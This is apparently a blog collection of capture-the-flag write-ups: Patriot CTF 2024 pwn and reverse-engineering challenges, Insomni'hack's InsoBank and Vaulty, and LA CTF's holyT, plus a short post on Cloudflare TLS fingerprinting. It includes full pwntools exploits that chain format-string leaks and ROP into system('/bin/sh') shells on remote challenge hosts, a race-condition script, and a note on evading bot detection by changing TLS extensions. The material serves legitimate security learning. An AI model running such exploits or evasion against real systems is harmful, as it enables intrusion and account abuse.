    Remember to just keep it shrimple!
    >> Adding shrimp...
    You shrimped the following: so easy and so shrimple, have fun!aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaak

    Remember to just keep it shrimple!
    >> Adding shrimp...
    You shrimped the following: so easy and so shrimple, have fun!aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaja_\x12@
    Thats it, hope you did something cool...
    pctf{ret_2_shr1mp_90cbba754f}
[*] Closed connection to chal.competitivecyber.club port 8884

Challenge: pwn/navigator

Welcome to navigator! You can change stuff, view stuff and THAT'S IT.
nc chal.competitivecyber.club 8887

Given: navigator Dockerfile

Analysis

The given file navigator is a 64-bit ELF executable.

ramenhost@ctf$ checksec --file navigator
[*] '/home/ramenhost/Git/ctf-writeups/patriot-ctf-2024/pwn/navigator/navigator'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

All protections are enabled. Not a good news for us!

The program has three options:

Set Pin
View Pin
Quit

The Ghidra decompilation of some functions of interest.

setPin stores the input character in a global array. The viewPin function reads the character from the global array and prints it. The main function calls these functions based on the user input.

Solution

The vulnerability lies in the bounds check of both setPin and viewPin functions.

The global array size is 328 bytes.
The bounds check done by setPin

1  if (iVar1 < 0x321) { // 0x321 = 801
2    printf("Pin character >> ");
3    fgets(local_28,0x10,stdin);
4    *(char *)(iVar1 + param_1) = local_28[0];
5  }

We can see that setPin clearly has wrong bounds check using which we can do arbitary write of one character at a time to any stack address beyond the global array. Using this, we can overwrite the return address of main function to execute a ROP chain. To fully exploit this, we need to return to libc function, for which we don't know the address because of ASLR.

The bounds check done by viewPin

1  if (0x13f < local_30) { // 0x13f = 319
2    local_30 = 0x13f;
3  }

While the viewPin bounds check looks correct at first, it doesn't take negative values into account. We can use this to leak any stack address (that is lower than the global array).

We can leak any glibc address from stack using viewPin function and then calculate the address of libc base. Then we can call system('/bin/sh') using ROP chain by exploiting setPin.

exploit.py

 1from pwn import *
 2
 3context.log_level = 'info'
 4context.terminal = ['tmux', 'splitw', '-v']
 5context.arch = 'x86_64'
 6
 7target = './navigator'
 8target_elf = ELF(target)
 9# libc = ELF('./libc.so.6')
10libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
11
12# io = process(target)
13# io = gdb.debug(target, gdbscript='''
14# b *main+250
15# continue
16# ''')
17io = remote('chal.competitivecyber.club', 8887)
18
19# setPin to bring some glibc function addresses to stack
20info(io.recvrepeat(1))
21io.sendline(b'1')
22io.sendline(b'5')
23io.sendline(b'A')
24
25# viewPin can leak one byte at a time. Leak 8 bytes from stack offset -129 (calcuated from gdb)
26val = bytearray()
27for i in range(8):
28    info(io.recvrepeat(1))
29    io.sendline(b'2')
30    io.sendline(b'-' + str(129 + i).encode())
31    info(io.recvuntil(b'Pin:'))
32    io.recvline()
33    val += io.recvline().strip()
34
35libc.address = int.from_bytes(val, 'big') - 276052
36info(f'libc.address: {hex(libc.address)}')
37
38# ROP chain to call system('/bin/sh')
39rop = ROP([libc])
40rop.raw(rop.find_gadget(['ret'])) # padding for stack 16-byte alignment
41rop.system(next(libc.search(b'/bin/sh\x00')))
42info(rop.dump())
43rop_chain = rop.chain()
44
45# setPin to write ROP chain to return address at stack offset 344 (calculated from gdb)
46i = 0
47for p in bytearray(rop_chain):
48    info(io.recvrepeat(1))
49    io.sendline(b'1')
50    io.sendline(str(344 + i).encode())
51    i = i + 1
52    io.sendline(bytes([p]))
53
54# quit menu to trigger ROP chain
55io.sendline(b'3')
56
57info(io.recvrepeat(1))
58io.sendline(b'cat flag.txt')
59info(io.recvrepeat(1))
60io.close()

Flag

ramenhost@ctf$ python3 exploit.py
[*] '/home/ramenhost/Git/ctf-writeups/patriot-ctf-2024/pwn/navigator/navigator'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chal.competitivecyber.club on port 8887: Done
[*] pctf{th4t_w45_ann0ying_014d0a7cb3d}
[*] Closed connection to chal.competitivecyber.club port 8887

Challenge: rev/password-protector

We've been after a notorious skiddie who took the "Is it possible to have a completely secure computer system" question a little too literally. After he found out we were looking for them, they moved to live at the bottom of the ocean in a concrete box to hide from the law. Eventually, they'll have to come up for air...or get sick of living in their little watergapped world. They sent us this message and executable. Please get their password so we can be ready.

"Mwahahaha you will nOcmu{9gtufever crack into my passMmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ympword, i'll even give you the key and the executable:::: Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV"

Given: passwordProtector.pyc

Solution

I used pycdc to decompile the passwordProtector.pyc file. Since, it uses python 3.11, multiple new opcodes were not supported and the decompilation kept failing as Unsupported Opcode. I had to apply patches from https://github.com/zrax/pycdc/issues/516 and https://github.com/zrax/pycdc/pull/472/files to get the decompilation to work.

passwordProtector.py (decompiled from passwordProtector.pyc)

 1# https://github.com/zrax/pycdc
 2# Apply patches: https://github.com/zrax/pycdc/issues/516 and https://github.com/zrax/pycdc/pull/472/files
 3
 4# Source Generated with Decompyle++
 5# File: passwordProtector.pyc (Python 3.11)
 6
 7import os
 8import secrets
 9from base64 import *
10
11def promptGen():
12
13    flipFlops = lambda x: chr(ord(x) + 1)
14    with open('topsneaky.txt', 'rb') as f:
15        first = f.read()
16        None(None, None)
17    with None:
18        with None:
19            if not None:
20                pass
21    bittys = secrets.token_bytes(len(first))
22    onePointFive = int.from_bytes(first) ^ int.from_bytes(bittys)
23    second = onePointFive.to_bytes(len(first))
24    third = b64encode(second).decode('utf-8')
25    bittysEnc = b64encode(bittys).decode('utf-8')
26    fourth = ''
27    for each in third:
28        fourth += flipFlops(each)
29        fifth = f'''Mwahahaha you will n{fourth[0:10]}ever crack into my pass{fourth[10:]}word, i\'ll even give you the key and the executable:::: {bittysEnc}'''
30        return fifth
31
32
33def main():
34    print(promptGen())
35
36if __name__ == '__main__':
37    main()
38

After this, we can just reverse the promptGen() function to get the flag.

solve.py

 1import base64
 2
 3fourth = 'Ocmu{9gtuf' + 'MmQg8G0eCXWi3MY9QfZ0NjCrXhzJEj50fumttU0ymp'
 4bittysEnc = 'Zfo5ibyl6t7WYtr2voUEZ0nSAJeWMcN3Qe3/+MLXoKL/p59K3jgV'
 5
 6bittys = base64.b64decode(bittysEnc)
 7flipFlops_inv = lambda x: chr(ord(x) - 1)
 8third = ''
 9for each in fourth:
10    third += flipFlops_inv(each)
11second = base64.b64decode(third)
12onePointFive = int.from_bytes(second, 'big') ^ int.from_bytes(bittys, 'big')
13print(onePointFive.to_bytes(len(second), 'big').decode())

Flag

ramenhost@ctf$ python3 solve.py
PCTF{I_<3_$3CUR1TY_THR0UGH_0B5CUR1TY!!}

Challenge: rev/puzzle-room

As you delve deeper into the tomb in search of answers, you stumble upon a puzzle room, its floor entirely covered in pressure plates. The warnings of the great necromancer, who hid his treasure here, suggest that one wrong step could lead to your doom.

You enter from the center of the eastern wall. Although you suspect you’re missing a crucial clue to guide your steps, you’re confident that everything you need to safely navigate the traps is already within reach.

At the center of the room lies the key to venturing further into the tomb, along with the promise of powerful treasures to aid you on your quest. Can you find the path, avoid the traps, and claim the treasure (flag) on the central platform?

Given: puzzle_room.py

Analysis

The given file puzzle-room.py contains a game where the player has to navigate through a grid of tiles. The player starts at the center of the eastern wall and has to reach the center of the room. The player can only move to adjacent tiles and can only move to a tile if the tile name is not already in the history. The player has to reach the center of the room in 4 or more steps.

When the player reaches the center of the room, the flag is decrypted using the key generated from the history of tiles visited by the player. While there could be many possible paths to reach the center of the room, the flag is decrypted only if the history of tiles visited by the player is correct.

Solution

We can solve this problem by brute-forcing the tiles visited by the player. We know that the player starts at "vulture" and ends at "Shrine". We can remove these tiles from the list of tiles to be visited. We can then brute-force all possible paths that can be taken by a player and try to decrypt the flag using the key generated from the history of tiles visited.

solve.py

 1import base64
 2import hashlib
 3from Crypto import Random
 4from Crypto.Cipher import AES
 5import itertools
 6
 7# copy AESCipher class from puzzle-room.py
 8# class AESCipher(object):
 9#     def __init__(self, key):
10#         self.bs = AES.block_size
11#         ....
12#         ....
13
14# all words from puzzle-room.py grid variable
15wordlist = ["SPHINX","urn","vulture","arch","snake","urn","bug","plant","arch","staff","SPHINX","plant","foot","bug","plant",
16            "vulture","foot","staff","vulture","plant","foot","bug","arch","staff","urn","Shrine","Shrine","Shrine","plant",
17            "bug","staff","urn","arch","snake","vulture","foot","Shrine","Shrine","Shrine","urn","snake","vulture","foot","vulture",
18            "staff","urn","bug","Shrine","Shrine","Shrine","foot","staff","bug","snake","staff","snake","plant","bug","urn","foot",
19            "vulture","bug","urn","arch","foot","urn","SPHINX","arch","staff","plant","snake","staff","bug","plant","vulture","snake","SPHINX",
20]
21
22wordlist = set(wordlist) # history cannot have tiles with same name
23wordlist.remove("Shrine") # end
24wordlist.remove("SPHINX") # corners not allowed
25wordlist.remove("vulture") # start
26
27# enc_flag from puzzle-room.py try_get_tile()
28enc_flag = b"FFxxg1OK5sykNlpDI+YF2cqF/tDem3LuWEZRR1bKmfVwzHsOkm+0O4wDxaM8MGFxUsiR7QOv/p904UiSBgyVkhD126VNlNqc8zNjSxgoOgs="
29
30# we start at "vulture" and end at "Shrine". Brute force tiles in-between
31# 4 or more steps needs to reach Shrine
32for n in range(4, len(wordlist) + 1):
33    for perm in itertools.permutations(wordlist, n):
34        brute = ''.join(perm)
35        key = "vulture" + brute + "Shrine"
36        obj = AESCipher(key)
37        try:
38            dec_flag = obj.decrypt(enc_flag)
39            if "pctf" in dec_flag:
40                print(dec_flag)
41                exit(0)
42        except Exception:
43            continue

Flag

ramenhost@ctf$ python3 solve.py
pctf{Did_you_guess_it_or_apply_graph_algorithms?}

Challenge: rev/revioli-revioli-give-me-the-formeoli

Can you unlock the secret formula?

Given: revioli

Analysis

The given file revioli is a 64-bit ELF executable. It asks for a password from the user.

ramenhost@ctf$ ./revioli
Enter-a the password-a: Idontknow
No toucha my spaget!

The Ghidra decompilation of the main function is shown below.

Solution

The executable reads a password from the user and compares it with a generated string. If the strings match, the executable prints the flag. Instead of analyzing the password generation logic (gen_correct_flag()and assemble_flag()), we can use gdb to get the second argument of strcmp() call. According to x86-64 calling convention, the second argument is stored in rsi register.

solve.gdb

break main
run
break strcmp
continue
printf "%s\n", $rsi
quit

run using gdb -quiet -x solve.gdb ./revioli </dev/null to get the correct password.

Flag

ramenhost@ctf$ gdb -quiet -x solve.gdb ./revioli </dev/null 2>/dev/null | tail -n1 | ./revioli
Enter-a the password-a: Congratulations! The flag is: PCTF{ITALY_01123581321345589144233377

Cloudflare knows what http library you use

Ramkumar — Fri, 20 Sep 2024 00:00:00 +0000

In X, @zoriya_dev shared an issue where an API request was blocked by Cloudflare when using Python's aiohttp library, while the same request worked fine when using curl or the requests library. People got together in replies to investigate the issue.

here is the python code (that gets cloudflare blocked)
the curl requests (that works)

and the netcat to print requests (by changing https://thexem by http://localhost), first is python second is curl https://t.co/eJZydIRbkK pic.twitter.com/8TSDb7WjMs
— Zoe Roux (@zoriya_dev) September 20, 2024

Initial analysis suggested that Cloudflare was blocking requests based on the User-Agent header. However, this theory was quickly disproven as the User-Agent header was identical in both aiohttp and curl requests. Even after ensuring that the entire HTTP request was the same for both libraries, the issue persisted. This indicated that the detection mechanism was operating at a lower level, likely involving TLS records.

Using Wireshark, I discovered that the TLS extensions differed between aiohttp and curl. By adding any single TLS extension to aiohttp, the block was bypassed, effectively disrupting the blacklisted fingerprint.

TLS fingerprinting is a common technique used by Cloudflare and other services to detect bots and malicious traffic. Cloudflare offers varying degrees of protection that can be configured by the domain owner. In this case, it is possible that the domain was put in a higher protection level where TLS fingerprint of aiohttp is blacklisted.

Insomni'hack CTF Teaser 2024 - InsoBank Writeup

Ramkumar — Fri, 01 Mar 2024 00:00:00 +0000

Challenge

Source: here

TL;DR

We are given an internet banking website with option to only transfer funds within own accounts. The goal is to increase balance from 10 CHF to 13.37 CHF.
Two databases (MySQL and Postgresql) are used to store transactions. MySQL schema rounds-off amount to 2 decimal places, but postgresql does not.
We can create transactions such that the sum of amount exceeds source account balance by exploiting the rounding off.
For this to work, we need transactions with dupclicate recipients. We exploit a TOCTOU race condition to bypass duplicate check.

Finding the vulnerabilities

1. Recon

We are provided an internet banking website with option to only transfer funds within own accounts. There exists 3 accounts namely Checkings, Savings and Current. Initially we have 10.0 CHF (Swiss Franc) in checkings account. We can create transaction to send funds between these 3 accounts. However, to obtain flag, we need to have a balance of 13.37 CHF in single account. In other words, we need to create free money.

2. Decimal round-off

The challenge uses MySQL to store all user details and transactions. But, pending transactions alone are duplicated into a seperate Postgresql database. From looking at the schema of these two, we can find that the column type of amount is different.

MySQL has DECIMAL(10, 2)
Postgresql has DECIMAL

This means we can exploit the fact that MySQL rounds-off amount to 2 decimal places, whereas postgresql stores exact amount. Transaction validation is performed on MySQL when trasaction is finalized using /validate endpoint. However, actual execution happens using Postgresql amount in a periodic script. Also note that one transaction batch can contain multiple transactions.

We can create a transaction batch like below (balance in Checking account : 10 CHF),

Source	Recipient	Amount
Checkings	Current	10
Checkings	Savings	0.004
Checkings	Savings	0.004

Validation on MySQL (rounded off to 2 decimal):
- 10.00 + 0.00 + 0.00 = 10 (Sufficient funds in source account)
Execution using Postgresql:
- 10.00 + 0.004 + 0.004 = 10.008
When 10.008 is stored in MySQL, it becomes 10.01 CHF

Now we repeat this until we have 13.37 CHF. However there is a catch. We cannot create above transaction as /transfer endpoints checks that two transactions in same batch cannot have same destination account. In our example, we have two entries with savings account as recipient.

3. TOCTOU race condition

The Flask app is running in a multi-threaded WSGI server. There is a race condition TOCTOU vulnerability in /transfer endpoint. The check is implemented as below,

1. 'Select count(*)' query to fetch if same recipient already added in this batch
2. if exists, return error "You can have only one transfer per recipent in a batch"
3. Add transaction to batch

This logic is not thread safe and vulnerable to Time of check, time of use (TOCTOU) attack. We can create multiple duplicate requests to server. As all are executed in parallel, We hope multiple requests will cross the select query (step 1) at same time, before any transaction is added to batch. This way, we can bypass this check and add duplicate recipients.

Exploit

In order to create parallel request to trigger race condition, Burp suite needed professional license. I used this tool instead.

 1from requests_racer import SynchronizedSession
 2
 3s = SynchronizedSession()
 4
 5# Update JWT after creating a fresh login session
 6burp0_headers = {"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwNTgyNjg5NSwianRpIjoiY2UzYTBlMjktNjE4OS00ZTE0LTgzM2YtNDdjNzE4ZjFkY2M5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6NDg2OSwibmJmIjoxNzA1ODI2ODk1LCJjc3JmIjoiMjYzNDk0YmEtODgyZS00ODMzLWJmZDMtOTdhNzZiYjMzNzRkIiwiZXhwIjoxNzA1ODI3Nzk1fQ.biCkHQ-6U3aDWGJ1A1h-4GWK9wz6exEOLFzQ8aym1_g", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36", "Accept": "*/*", "Origin": "http://91.92.201.197:3000", "Referer": "http://91.92.201.197:3000/", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
 7
 8for n in range(20):
 9
10    burp0_url = "http://91.92.201.197:5000/batches"
11    resp1 = s.get(burp0_url, headers=burp0_headers)
12    s.finish_all()
13    old_batches = [o['batchid'] for o in resp1.json()]
14
15    burp0_url = "http://91.92.201.197:5000/batch/new"
16    burp0_json={"senderid": "dc9d1d35-ef4d-4406-957c-93acc318d435"}
17    resp = s.post(burp0_url, headers=burp0_headers, json=burp0_json)
18    s.finish_all()
19
20    burp0_url = "http://91.92.201.197:5000/batches"
21    resp1 = s.get(burp0_url, headers=burp0_headers)
22    s.finish_all()
23    new_batchid = [o['batchid'] for o in resp1.json() if o['batchid'] not in old_batches][0]
24
25    print(f"New batch: {new_batchid}")
26
27    s = SynchronizedSession(num_threads=20)
28
29    burp0_url = "http://91.92.201.197:5000/transfer"
30    burp0_json={"amount": "0.004", "batchid": new_batchid, "recipient": "4f55f4f1-9fb5-48a7-af32-d910b46ca8ca"}
31    resps = []
32    for i in range(20):
33        resps.append(s.post(burp0_url, headers=burp0_headers, json=burp0_json))
34    s.finish_all()
35    print([resp.text for resp in resps])
36
37    burp0_url = "http://91.92.201.197:5000/validate"
38    burp0_json={"batchid": new_batchid}
39    s.post(burp0_url, headers=burp0_headers, json=burp0_json)
40    s.finish_all()

LA CTF 2024 - holyT Writeup

Ramkumar — Fri, 01 Mar 2024 00:00:00 +0000

Challenge

God is trying to talk to you through a noisy wire. Use nc chall.lac.tf 31171 to talk to him.

TL;DR

The remote service creates a RSA keypair and gives us public key (N, e) and encrypted flag (ct). The goal is find the RSA private key and decrypt the flag. The remote service also provides an option to calculate square root (mod N) of any numbers of our choice. Since it uses CRT optimzation to calculate square root (mod N), it leaks multiples of prime factors when input is 1 (sqrt is 1). From leaked values, we can find the prime factors and thus the private key.

Remote service

On connecting to the remote service, we get following output. We can send inputs to it and observe the output. Based on the interaction, we need to find the private key.

The code of the remote service that we interact with is given.

 1from Crypto.Util.number import getPrime, bytes_to_long
 2import random
 3def legendre(a, p):
 4    return pow(a, (p - 1) // 2, p)
 5
 6def tonelli(n, p):
 7    q = p - 1
 8    s = 0
 9    while q % 2 == 0:
10        q //= 2
11        s += 1
12    if s == 1:
13        return pow(n, (p + 1) // 4, p)
14    for z in range(2, p):
15        if p - 1 == legendre(z, p):
16            break
17    c = pow(z, q, p)
18    r = pow(n, (q + 1) // 2, p)
19    t = pow(n, q, p)
20    m = s
21    t2 = 0
22    while (t - 1) % p != 0:
23        t2 = (t * t) % p
24        for i in range(1, m):
25            if (t2 - 1) % p == 0:
26                break
27            t2 = (t2 * t2) % p
28        b = pow(c, 1 << (m - i - 1), p)
29        r = (r * b) % p
30        c = (b * b) % p
31        t = (t * c) % p
32        m = i
33    return r
34def xgcd(a, b):
35    if a == 0 :
36        return 0,1
37
38    x1,y1 = xgcd(b%a, a)
39    x = y1 - (b//a) * x1
40    y = x1
41
42    return x,y
43def crt(a, b, m, n):
44    m1, n1 = xgcd(m, n)
45    return ((b *m * m1 + a *n*n1) % (m * n))
46
47def advice(x, p, q):
48    if legendre(x, p) != 1:
49        exit()
50    if legendre(x, q) != 1:
51        exit()
52    x1 = tonelli(x, p) * random.choice([1, -1])
53    x2 = tonelli(x, q) * random.choice([1, -1])
54    y = crt(x1, x2, p, q)
55    return y
56
57def main():
58    p = getPrime(1024)
59    q = getPrime(1024)
60    N = p * q
61    e = 65537
62    m = bytes_to_long(b"lactf{redacted?}")
63    ct = pow(m, e, N)
64    print(f"ct = {ct}")
65    print(f"N = {N}")
66    print(f"e = {e}")
67    while 1:
68        x = int(input("What do you want to ask? > "))
69        ad = advice(x, p, q)
70        print(ad)
71
72if __name__ == "__main__":
73    main()

From code, we can see it creates a RSA keypair and gives us public key (N, e) and encrypted flag (ct). Our input is sent to advice() function and the return value is printed to us. The code looks overwhelming at first. But based on the function names we can guess what it does.

 1def advice(x, p, q):
 2    if legendre(x, p) != 1:
 3        exit()
 4    if legendre(x, q) != 1:
 5        exit()
 6    x1 = tonelli(x, p) * random.choice([1, -1])
 7    x2 = tonelli(x, q) * random.choice([1, -1])
 8    y = crt(x1, x2, p, q)
 9    return y

In short, the advice() function calculates square root modulo N using CRT optimization. To explain legendre(x, p) != 1, Legendre symbol '1' means the number is a quadratic residue (mod p). i.e. x has a square root in group modulo p. Next, tonelli() performs Tonelli-Shanks algorithm to caluculate a square root of x modulo p (any prime). Instead of calculating square root modulo N directly, this function calculates square root on N's prime factors p and q. When x is our input, x1 is square root (mod p) and x2 is square root (mod q). From x1 and x2, Chinese remainder theorem (CRT) is used calculate square root (mod N), which is the output. An important detail here is that the two square roots are multiplied by one of [1, -1] randomly. This I assume is to use negative square root and positive square root uniformly.

Solution

An interesting input for this program is 1 as its square root is also 1. Let's see what happens on input x=1. We know that tonelli(1, p) = 1 and tonelli(1, q) = 1 (square root is also 1). Depending on the random choice [1, -1], we end up with four possibilities.

x	x1	x2	(x2 * p * p' + x1 * q * q') (mod N)	output
1	1	1	(p p' + q q') (mod N)	1 (mod N)
1	-1	1	( -p p' + q q') (mod N)	( q q' - p p') (mod N)
1	1	-1	(p p' - q q') (mod N)	(p p' - q q') (mod N)
1	-1	-1	( -p p' - q q') (mod N)	-1 (mod N) ≡ N-1

By giving input as 1 multiple times, we get 4 different outputs randomly. The fout outputs in below image corresponds to the last column of above table.

As shown in above table, two of them are 1 and (N-1). The other two are the interesting outputs. Let's consider (p p' - q q') (mod N). From this, we can get multiple of p by adding 1 to it.

(p p' - q q' + 1) (mod N)
= (p p' - q q' + p p' + q q') (mod N) since, p p' + q q' ≡ 1 (mod p * q)
= 2pp' (mod N)

Now that we have a multiple of p, we can use gcd to find p,

p = gcd(2pp', N)
q = N / p

As we have found the prime factors of N, the flag can be decrypted.

 1from Crypto.Util.number import long_to_bytes
 2from math import gcd
 3from pwn import *
 4
 5conn = remote("chall.lac.tf", 31171)
 6ct = int(conn.recvline().split()[-1])
 7N = int(conn.recvline().split()[-1])
 8e = int(conn.recvline().split()[-1])
 9
10pa_minus_qb = 0
11qb_minus_pa = 0
12while 1:
13    conn.recvuntil(b"> ")
14    conn.sendline(b"1")
15    t = int(conn.recvline())
16    if t != 1 and t != N -1:
17        if pa_minus_qb == 0:
18            pa_minus_qb = t
19        else:
20            qb_minus_pa = t
21            break
22
23# Try to calculate both as one becomes relatively prime to N (gcd 1)
24pa = (((pa_minus_qb+1)//2) (mod N))
25qb = (((qb_minus_pa+1)//2) (mod N))
26
27p = gcd(pa, N)
28q = gcd(qb, N)
29
30# Drop the gcd 1 and take the other
31p = q if p == 1 else p
32
33q = N // p
34phi_N = (p - 1) * (q - 1)
35d = pow(e, -1, int(phi_N))
36
37pt = pow(ct, d, N)
38print(long_to_bytes(pt).decode())

Insomni'hack CTF Teaser 2024 - Vaulty Writeup

Ramkumar — Sun, 21 Jan 2024 00:00:00 +0000

Challenge

Everybody needs a password manager.
nc vaulty.insomnihack.ch 4556
File: vaulty
The application is running in aubuntu@sha256:bbf3d1baa208b7649d1d0264ef7d522e1dc0deeeaaf6085bf8e4618867f03494 container.

TL;DR

The given file is an ELF x86_64 binary and goal is to achieve remote code execution (RCE). The program contains a classic buffer overflow vulnerability. However, CFI mechanisms (Stack canary and ASLR) have to be dealt with before hijacking control flow. There is a second fmtstr vulnerability that allows leaking stack canary and randomized libc base. By chaining the two vulnerabilities, the vaulty binary can be successfuly pwned.

Finding the vulnerabilities

Given that the challenge category is marked as pwn, it is almost obvious that the goal is to achieve RCE.

1. Recon

On running the binary in local environment, I got below prompt.

By trying out all the menu options, it turns out to be a password manager. An entry consists of username, password and url. We are able to add upto 10 such entries and modify/delete them.

I used Ghidra to analyze the disassembly and decompiled functions. Checksec shows that the binary is a PIE and has stack canaries.

2. Buffer overflow

With quick look at decompiled code, the buffer overflow in main function can be found. The main function has a buffer of size 979 bytes where all the entries are stored.

 1undefined8 main(void)
 2{
 3  int iVar1;
 4  long in_FS_OFFSET;
 5  undefined local_3e8 [979];
 6  char local_15 [5];
 7  long local_10;
 8  ...
 9}

The function that creates a new entry uses unsafe gets() call for reading url input. The decompiled code is shown below.

1  puts("Creating a new entry:");
2  puts("Username: ");
3  fgets((char *)&local_88,0x20,stdin);
4  puts("Password: ");
5  fgets((char *)&local_68,0x20,stdin);
6  puts("URL: ");
7  gets((char *)&local_48);

With this, we should be able to overflow the buffer and replace the return address in stack frame. But the binary has stack canaries, so we see this instead.

3. Printf fmtstr injection

Digging more into the decompiled functions, I stumbled upon the following printf() calls in function that prints an entry (menu option 4).

1  __format = (char *)((long)iVar1 * 0x60 + param_1);
2  printf("Username: ");
3  printf(__format);
4  printf("Password: ");
5  printf(__format + 0x20);
6  printf("Url: ");
7  printf(__format + 0x40);

The pointer __format (named by Ghidra) points to the start of an entry. After printing each field, the pointer is incremented to next field. The original source probably used struct with three fields and printed each field. The vulnerability here is that user controlled string is passed as first argument printf(). This may not seem like a problem until we know about various format string features. The safe way to print would be,

1  printf("%s", __format);    //safe
2  printf(__format);    //unsafe

By controlling the format string, we can perform arbitary read/write on the stack with printf(). For example, the format string "%p" will print the first argument as a pointer. In x86, function arguments are passed on the stack. When there are no other arguments, like in our case, printf("%p") will leak the data in stack (because the argument is expected to be on stack). To print 5th pointer down the stack, we can use printf("%p %p %p %p %p") or the short notaion printf("%5$p"). Using this attack, we can read any arbitraty offset on the stack. Similarly, format string option "%n" can be used to write data into arbitrary memory addresses. Here is a detailed writeup on how fmtstr vulnerability works.

In 64-bit calling convention, first 6 arguments are passed via registers. Hence, from 7th argument printf("%7$p") starts leaking the stack.

Exploit

1. Chaining the vulnerabilities

To get a remote code execution, I decided to replace the saved return address in stack with address of libc's system(). When we exit the password manager menu (option 5), the program returns from main(). The idea is to replace the return with a call to system('/bin/sh'). Since the binary is PIE, ASLR makes the address of system() randomized. We can use the fmtstr vulnerability to leak the libc base address to circumvent this.

Steps

Exploit fmtstr vulnerability to leak stack canary.
Exploit fmtstr vulnerability to leak base address of libc. Caluclate address of system().
Exploit buffer overflow to replace the return address with system('/bin/sh').

Overflow payload

The buffer overflow payload would be something like,

random (n bytes) + canary (8 bytes) + random (8 bytes) + rop-chain

I used Return oriented programming (ROP) to set the stack suitable for calling system('/bin/sh'). The ROP payload sets up rdi register (first argument) to address of '/bin/sh' before jumping to system().

2. Stack alignment problems

After setting up the exploit, I was able to successfully redirect control flow into libc's system(). However I got SIGSEGV inside do_system() on movabs instruction. With breakpoint set to system(), I verfied contents of the stack just before the control jumps into libc. The return address was properly replaced and rdi had pointer to string /bin/sh. This should result in successful shell, but SIGSEGV got me like,

Like always, stackoverflow got me covered. This post explains the stack alignment requirement in x86_64. The stack has to be 16-byte aligned, found out the hard way. I added one extra ret gadget on top of my ROP chain to fix this.

3. Solution

 1from pwn import *
 2
 3target = './vaulty'
 4# libc taken from
 5# ubuntu@sha256:bbf3d1baa208b7649d1d0264ef7d522e1dc0deeeaaf6085bf8e4618867f03494
 6libc = ELF('./libc.so.6')
 7
 8context.log_level = 'info'
 9#context.terminal = ['tmux', 'splitw', '-v']
10context.arch = 'amd64'
11
12# io = gdb.debug(target, gdbscript='''
13# set breakpoint pending on
14# break system
15# continue
16# ''')
17#io = process(target)
18io = remote('vaulty.insomnihack.ch', 4556)
19
20'''
21Vault Menu:
221. Create an entry
232. Modify an entry
243. Delete an entry
254. Print an entry
265. Exit
27Enter your choice (1-5):
28'''
29
30# create entry
31io.sendline(b'1')
32io.sendline(b'%11$p') #stack offset to canary
33io.sendline(b'passwd')
34io.sendline(b'url')
35
36# print 0th entry to leak canary
37io.sendline(b'4')
38io.recvrepeat(1)
39io.sendline(b'0') #entry index
40io.recvuntil(b'Username: 0x')
41canary = io.recv(16)
42canary = int.from_bytes(bytes.fromhex(canary.decode()), 'big')
43info(f'canary: {p64(canary)}')
44
45#create entry
46io.sendline(b'1')
47io.sendline(b'%141$p') #stack offset to return value of main (main returns to libc)
48io.sendline(b'passwd')
49io.sendline(b'url')
50
51# print 1st entry to leak libc address
52io.sendline(b'4')
53io.recvrepeat(1)
54io.sendline(b'1')
55io.recvuntil(b'Username: 0x')
56libc_start_main = io.recv(12)
57libc_start_main = int.from_bytes(bytes.fromhex(libc_start_main.decode()), 'big')
58# from gdb: (return of main) - (libc base) = 0x276ca
59#libc.address = libc_start_main - 0x276ca
60libc.address = libc_start_main - 0x29d90
61info(f'libc: {p64(libc.address)}')
62
63# modify 0th entry to overflow buffer
64io.sendline(b'2')
65io.sendline(b'0')
66
67rop = ROP(libc)
68rop.raw(rop.find_gadget(['ret'])) # padding for stack 16-byte alignment
69rop.system(next(libc.search(b'/bin/sh\x00')))
70info(rop.dump())
71
72io.sendline(cyclic(cyclic_find('ajva')) + p64(canary) + b'B'*8 + rop.chain())
73io.recvrepeat(1)
74
75# exit menu to trigger return
76io.sendline(b'5')
77info(io.recvrepeat(1))
78io.interactive()

Getting the Flag

Once I got the shell, there was a file named flag present in the same directory.

$ cat flag
INS{An0Th3r_P4SSw0RD_m4nag3r_h4ck3d}